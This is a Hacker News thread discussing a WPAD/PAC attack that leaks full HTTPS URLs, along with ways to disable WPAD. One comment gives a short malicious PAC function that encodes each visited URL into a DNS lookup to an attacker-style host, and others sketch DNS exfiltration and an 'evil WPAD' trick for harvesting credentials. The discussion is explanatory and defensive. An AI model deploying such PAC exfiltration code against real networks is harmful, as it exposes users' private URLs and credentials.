10 ms·
New attack that cripples HTTPS crypto works on Macs, Windows, and Linux
- deleted 10y ago[deleted]
- 0xmohit 10y agoFrom the briefing: We will demonstrate that, by forcing your browser/system to use a malicious PAC (Proxy AutoConfiguration) resource, it is possible to leak HTTPS URLs. Would be interesting to see the exploit in action. However, malicious PAC redirection has existed for a while [0]. What isn't quite clear is whether this would work even with HSTS sites. The takeaway seems to be that never trust any unknown network. [0] https://blogs.technet.microsoft.com/mmpc/2014/02/28/malicious-proxy-auto-config-redirection/ https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou...
- dmix 10y ago> never trust any unknown network By that I'm guessing you mean local networks ala coffeeshop/public wifi. What about networks that NSA/[insert three letter agency here] controls? Can PAC be affected by those?
- valievkarim 10y agoThis PAC exploit was already published in 2015 in Russian: https://translate.google.com/translate?sl=ru&tl=en&u=https%3A%2F%2Fhabrahabr.ru%2Fcompany%2Fmailru%2Fblog%2F259521%2F&act=url https://translate.google.com/translate?sl=ru&tl=en&u=https%3...
- AndyMcConachie 10y agoSo many vulns in WPAD. Best defense is don't use it. Here's another recent one. https://ripe72.ripe.net/wp-content/uploads/presentations/49-wpad-vulnerability-RIPE-CPH.pdf https://ripe72.ripe.net/wp-content/uploads/presentations/49-...
- zokier 10y agoWait, what... malicious dhcp can "force" browsers to execute essentially arbitrary code for every request? And this is by design? Is there some flag to nuke that feature from eg Firefox?
- mhurron 10y agoIt's not arbitrary code, it is a DHCP option to push a proxy setting. It is DHCP option 252, and isn't really any different than any other DHCP option, like router or default domain. Setting network settings is exactly what DHCP was for.
- codys 10y agoWell, in this case the DHCP option provides a url for a javascript file with a function to be called for each url accessed. I presume there could be some sandboxing of that function, depending on how it is typically used. Edit: even with sandboxing, I imagine they could encode the url into a hostname for a proxy and then use the DNS requests for the proxy to exfiltrate the url. Proxy auto-config allows specifying "PROXY my_encoded_url.other_data.example.com:8080; DIRECT" so that it would attempt the DNS lookup, and on it's failure fallback to using a direct connection so there wouldn't be much change visible to the user (just a slight extra delay due to dns lookup).
- jrochkind1 10y ago> Well, in this case the DHCP option provides a url for a javascript file with a function to be called for each url accessed. I don't think so. Just a proxy. A malicious proxy can of course inject whatever it wants into your viewed pages.
- bzbarsky 10y agocodys is correct: The DHCP option provides a URL for a javascript file with a function to be called for each URL. The function then returns how to actually go about connecting to that URL (direct or proxied connection) and what hostname to actually use, etc. This is separate from the proxy that then gets used for the actual connection if the PAC file says to use a proxy. That proxy can't inject things into pages loaded over https unless it's using an MITM cert signed with a trust root that your browser trusts. The problem under discussion is that the function in the PAC file gets to see the URL being visited.
- daveloyall 10y agoI am dubious that any of my Debian machines would fall for this. BUT... I was unaware of this DHCP attack surface for WPAD. Does anybody know if Debian has some scripts for receiving a URL via that mechanism and then visiting it? I guess this would be achieved by libproxy or something? Do the browsers do some WPAD stuff independently?
- kuschku 10y agoNetworkManager and dhcpcd will usually auto-configure with WPAD, and all major browsers will use it. If you're using KDE, you can disable it under System Settings > Network > Settings > Proxy > No Proxy. If you want to disable it for the browsers, see https://news.ycombinator.com/item?id=12167767 https://news.ycombinator.com/item?id=12167767
- daveloyall 10y agoI don't use network manager. I do use wicd. Looks like I have isc-dhcp-client, not dhcpcd5. The DNS-based mechanism might get me, though... I don't know. Is that implemented exclusively at the browser layer?
- eikenberry 10y agoI don't think dhcpcd5 does this. Do you have a reference?
- eikenberry 10y agoFound the reference.. it supports wpad when used as a dhcp server. It doesn't support it as a client.
- djsumdog 10y ago> It will be demonstrated for the first time at next week's Black Hat security conference in Las Vegas Wait, don't they mean Defcon?
- 0xmohit 10y agoNo, it's BH. https://twitter.com/BlackHatEvents/status/748215791779217409 https://twitter.com/BlackHatEvents/status/748215791779217409
- peterwwillis 10y agoDEFCON doesn't pay for you to give your talk; Black Hat does.
- a2tech 10y agoNothing is premiered at Defcon anymore. Everything worth while is shown at BlackHat, then maybe at Defcon.
- colechristensen 10y agoBlack Hat is right before DefCon and more concentrated on professionals.
- peterwwillis 10y ago"We show that HTTPS cannot provide security when WPAD is enabled." That's effectively a lie. The HTTPS connection itself is definitely still secure. The only difference is the browser is telling an attacker what URL it wants to go to. You can also watch what virtual hosts someone is visiting by sniffing DNS requests, statistical packet analysis can show exactly what you're looking at, and there are plenty of attacks on browsers and the client OS to get more data that don't require wpad. If you want to browse securely, you have to tunnel everything. You should not assume a browser will ever be able to hide all possible traceable data about your connection & request.
- cpitman 10y agoIsn't the host that a user is requesting passed unencrypted anyways via SNI?
- Chlorus 10y agoAlso plain as day in the DNS lookup - but a MITM-attacker knowing the host you're connecting to isn't the problem here; it's that the attacker knows which particular URLs you have requested.
- keyme 10y agoThe full URL contains much more than just the host. Open fiddler, log in to a Google account, see how much sensitive data is sent inside URL params. All of this data is disclosed in this attack.
- peterwwillis 10y agoDid I dispute that? I pointed out they are lying that it compromises the HTTPS connection. It does not.
- Chlorus 10y agoGiven that almost every web dev's assumption is that TLS encrypts URL parameters, yes it does. Do search parameters in GET requests going across the wire in cleartext not count as possibly sensitive information to you or something?
- TenOhms 10y agoThis is why I don't trust public wifi, anywhere. I use my phone as a hot spot everywhere I go unless there's no other option. And I still don't trust my phone that much either so I don't do any online banking unless I VPN back to my house first.
- Godel_unicode 10y ago1) Turn off WPAD support on your device and call it a day. 2) this only leaks URLs, your banking creds are safe.
- 13of40 10y agoIf you request a password reset, sites typically send you an email containing a link with a secret in the URL. If the network is able to see your browser requesting that URL, it should be able to interrupt your connection and go change the password itself.
- deleted 10y ago[deleted]
- Godel_unicode 10y agoA good point, (although step 1 still saves you) the universal Achilles Heel strikes again! I wish more sites would use a second factor for resets. This would prevent so many of these types of problems. Also, Windows knows that it's an untrusted network. Maybe warn about proxies if you have it (WPAD) turned on for Big Corp reasons?
- joveian 10y agoEven ISPs will do all sorts of obnoxious things like this, although some public wifi is horrible. I got a $15/year ramnode VPS about a year and a half ago and removed all services except ssh on port 80 with chacha/poly1305 and public key encryption. I mostly use SOCKS with sshuttle to catch anything not configured for SOCKS (sshuttle in theory is a better method, but in practice it leaks DNS requests somehow). Quite simple and I highly recommend it. Traffic accounting seems to undercount substantially with this usage so I didn't get anywhere near my limit (I don't have the highest bandwidth usage, but not the smallest either). One public wifi I would like to use more often somehow manages to break this setup (and half the internet even without a VPN so no idea what they are doing), but I haven't had trouble anywhere else. I started doing this after getting SSL downgrade errors using public wifi.
- DanielDent 10y agoThis is a well known attack and has been for a while. There are established domain suffixes which block registration for 'wpad' (as well as a few other domains) for exactly this reason. Which is only a partial mitigation in a world where MITM is a potential attack vector. I have domains which receive a steady stream of 'wpad.$domain' queries from machines which have nothing to do with me. I don't know who owns the machines. I also don't think anyone would notice if I decided to actually provide them with the proxy service they keep requesting from my infrastructure.
- johncolanduoni 10y ago> I also don't think anyone would notice if I decided to actually provide them with the proxy service they keep requesting from my infrastructure. If you did so, it would make for a really interesting CFAA (or your country's equivalent) case. Unless there is precedent for this kind of thing?
- DanielDent 10y agoI'm unaware of any precedent... I could certainly see people getting upset, but I don't think they'd have solid grounds. The interesting thing is that I actually am considering setting up a WPAD entry on a domain where I am seeing that traffic, for my own purposes (i.e. unrelated to the random queries I am getting). In fact, I have just as much an argument that they would be the ones with possible CFAA liability if they start using my proxy server in a way I don't intend. The CFAA is a mess.
- PhantomGremlin 10y agoI'm confused. Is this a real problem under default OS X settings? Is the OS X GUI misleading me? In my settings in Network -> Advanced -> Proxies, all the little boxes are unchecked. There is an "Automatic Proxy Configuration" line but only when I check it do I see a method to enter the URL to a .pac file. So, as a naive user, when I see everything unchecked I assume that everything is disabled. But perhaps the checkbox only provides a method to supply information that a DHCP server omits? So if the DHCP server does return an URL to a .pac file, will OS X will accept it regardless of the check box?
- nmc 10y agoThe "Automatic Proxy Configuration" setting allows you to manually set the URL of the PAC file for automatic configuration. Maybe setting a custom PAC file can override the one sent by the DHCP server. Anyway, unchecking that one will not protect you. However, in the same list, you should see a checkbox labeled "Auto Proxy Discovery". This is the one you want to uncheck so that OS X does not accept the URL sent by the DHCP server.
- PhantomGremlin 10y agoyou should see a checkbox labeled "Auto Proxy Discovery" In my experience, that box is unchecked by default for a clean installation of El Capitan. So I don't think that OS X is vulnerable (unless that box is explicitly changed by an end user). I just found this Apple KB https://support.apple.com/kb/PH18553?locale=en_US https://support.apple.com/kb/PH18553?locale=en_US that instructs users to select that setting if needed. That seems to confirm that the default is off. The Ars Technica article should have been more nuanced. It strongly implies (IMO) that OS X is vulnerable by default.
- newman314 10y agoDoes anyone know how to explicitly disable WPAD on various platforms? I tried searching for an OS X disable to no avail. PS. I did find this which came out in May: https://www.us-cert.gov/ncas/alerts/TA16-144A https://www.us-cert.gov/ncas/alerts/TA16-144A
- gergles 10y agoOn OS X, it is set in the system network preference pane. Click a connection, then Advanced..., then Proxies, and there's a service listed called "Automatic Proxy Discovery" that you can enable if you want it (it is disabled by default.)
- inopinatus 10y agoWe can all imagine a case where actual running configuration differs from the intent expressed in those settings. I think the OP is looking for a definitive statement or disabling mechanism whereby the DHCP client (and subsequently all web browser behaviour) in OSX definitely never honours DHCP option 252, which seems to be the relevant part of the attack described in the article.
- therealmarv 10y agoTL;DR: So you say OS X users are safe with default config?
- williesleg 10y agoUm, yeah, it's not the full url, just the host name.
- amluto 10y agoSince I couldn't find this on bugzilla.mozilla.org: https://bugzilla.mozilla.org/show_bug.cgi?id=1289626 https://bugzilla.mozilla.org/show_bug.cgi?id=1289626
- zhuzhuor 10y agoFrom the description in the article, I guess the attack might use a PAC file like the following function FindProxyForURL(url, host) { return "PROXY " + base64(url) + ".malicious-proxy.tld:1080"; } Then the attacker can look at his/her DNS server query log and figure out the URL.
- caf 10y agoSo it looks like the correct solution is for the browser to always supply proto://host/ as the url, regardless of the URL actually accessed.
- jodrellblank 10y agoDNS? What about sniffing the SNI data? https://en.wikipedia.org/wiki/Server_Name_Indication https://en.wikipedia.org/wiki/Server_Name_Indication
- caf 10y agoThe SNI only has the host, not the complete url.
- th0rning 10y agoThere are a number of API calls that leak DNS queries, such as isInNet. If you have optimized a PAC for performance, you absolutely would avoid this from happening, but if you're evil and you want to leak dns queries... then whatever. I would add a filter to include only the required transactions (i.e., url contains samltoken or something). On the flip side the article isn't correct about IE truncating hosts, what it does is cache the PAC results on a per-host basis, so only the first URL a client accesses to a host will get processed. The other main threat of the WPAD is that it affects Zones. In a corporate environment, things that go through the proxy server are assumed to be on the internet and in the Internet zone. Things that go direct are assumed to be Intranet Zone, which has reduced security posture. An evil WPAD that just returns "DIRECT" all the time will lower IE's posture for all sites to Intranet Zone, enabling IWA (making credential harvesting possible), reducing warnings on active content, etc.
- double051 10y agoProxy Auto-Config is by off by default on Windows and Macs, but it doesn't say that in the article or on the Microsoft page.
- blazespin 10y agoDoes that mean dhcp cant push pac file to IE or Safari by default?
- valievkarim 10y agoThis attack is not new - it was already published in 2015 in Russian: https://translate.google.com/translate?sl=ru&tl=en&u=https%3A%2F%2Fhabrahabr.ru%2Fcompany%2Fmailru%2Fblog%2F259521%2F&act=url https://translate.google.com/translate?sl=ru&tl=en&u=https%3... Given that BlackHat speaker is Russian guy too, the research authorship is questionable
- Galinakot 10y agoFrom the briefing: We will demonstrate that, by forcing your browser/system to use a malicious PAC (Proxy AutoConfiguration) resource, it is possible to leak HTTPS URLs. Would be interesting to see the exploit in action. However, malicious PAC redirection has existed for a while [0]. What isn't quite clear is whether this would work even with HSTS sites. The takeaway seems to be that never trust any unknown network. [0] https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou.. https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou....
- cypherg 10y agoI'm also going to be talking a bit about WPAD in my Blackhat talk this year. To over simplify: attacker stays at AirBnb/rental, attacker pwns local router and adds their dns server, attacker listens for wpad request and respond with malicious PAC to gain MitM. Oh, the dangers of AirBnB/rental networks. https://www.blackhat.com/us-16/briefings.html#airbnbeware-short-term-rentals-long-term-pwnage https://www.blackhat.com/us-16/briefings.html#airbnbeware-sh...